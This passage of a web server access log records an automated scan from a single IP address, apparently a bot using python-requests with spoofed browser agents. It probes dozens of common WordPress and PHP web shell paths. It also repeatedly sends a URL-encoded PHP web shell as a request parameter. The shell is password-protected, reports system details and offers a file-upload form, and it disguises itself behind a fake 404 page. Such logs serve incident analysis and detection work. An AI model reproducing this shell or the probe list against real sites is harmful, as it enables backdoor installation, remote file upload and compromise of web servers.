3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:31 +0530] "GET /xo.php HTTP/1.1" 302 226 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:31 +0530] "GET /wp-content/plugins/vwcleanerplugin/bump.php HTTP/1.1" 302 263 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:31 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:31 +0530] "GET /a.php HTTP/1.1" 302 225 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:31 +0530] "GET /vita.php HTTP/1.1" 302 228 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:32 +0530] "GET /1.php HTTP/1.1" 302 225 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:32 +0530] "GET /leafmailer.php HTTP/1.1" 302 234 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:33 +0530] "GET /wp-includes/pomo/config.php HTTP/1.1" 302 247 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:33 +0530] "GET /sh3ll.php HTTP/1.1" 302 229 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:34 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:35 +0530] "GET /nee.php HTTP/1.1" 302 227 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:35 +0530] "GET /doc.php HTTP/1.1" 302 227 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:35 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:35 +0530] "GET /.well-known/leaf.php HTTP/1.1" 302 240 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:37 +0530] "GET /vuln.php HTTP/1.1" 302 228 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:37 +0530] "GET /wp-wso.php HTTP/1.1" 302 230 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:37 +0530] "GET /FoxWSO.php HTTP/1.1" 302 230 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:38 +0530] "GET /wp-includes/css/wp-atom.php HTTP/1.1" 302 247 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:38 +0530] "GET /q.php HTTP/1.1" 302 225 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:38 +0530] "GET /jindex.php HTTP/1.1" 302 230 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:39 +0530] "GET /ms.php HTTP/1.1" 302 226 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:39 +0530] "GET /wp-includes/pomo/shellwso.php HTTP/1.1" 302 249 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:39 +0530] "GET /wp-admin/css/colors/ocean/template.php HTTP/1.1" 302 258 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:39 +0530] "GET /modules/xxxxxxxxxxxxxxxxxxxxxxxxxxxx.php HTTP/1.1" 302 260 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:39 +0530] "GET /wp-content/plugins/theme-configurator/mini.php HTTP/1.1" 302 266 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:39 +0530] "GET /shell.php HTTP/1.1" 302 229 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:42 +0530] "GET /wp-includes/about.php HTTP/1.1" 302 241 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:42 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:42 +0530] "GET /lufix.php HTTP/1.1" 302 229 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:42 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:42 +0530] "GET /r.php HTTP/1.1" 302 225 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:42 +0530] "GET /s.php HTTP/1.1" 302 225 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:42 +0530] "GET /Gel.php HTTP/1.1" 302 227 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:43 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:44 +0530] "GET /templates/xxxxxxxxxxxxxxxxxxxxxxxxxxxx.php HTTP/1.1" 302 262 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:44 +0530] "GET /wp-includes/pomo/2.php HTTP/1.1" 302 242 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:45 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:45 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:45 +0530] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 302 255 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:45 +0530] "GET /wp-admin/wp.php HTTP/1.1" 302 235 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:47 +0530] "GET /xindex.php HTTP/1.1" 302 230 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:47 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:47 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%